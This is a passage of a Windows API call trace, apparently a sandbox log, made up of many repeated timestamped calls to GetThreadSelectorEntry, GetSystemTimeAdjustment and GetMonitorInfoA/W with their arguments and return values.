[0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.172] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.172] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.172] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0043.526] lstrlenA (lpString="") returned 0 [0043.526] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.526] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.526] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.526] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.526] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.527] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.528] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.529] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.530] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: 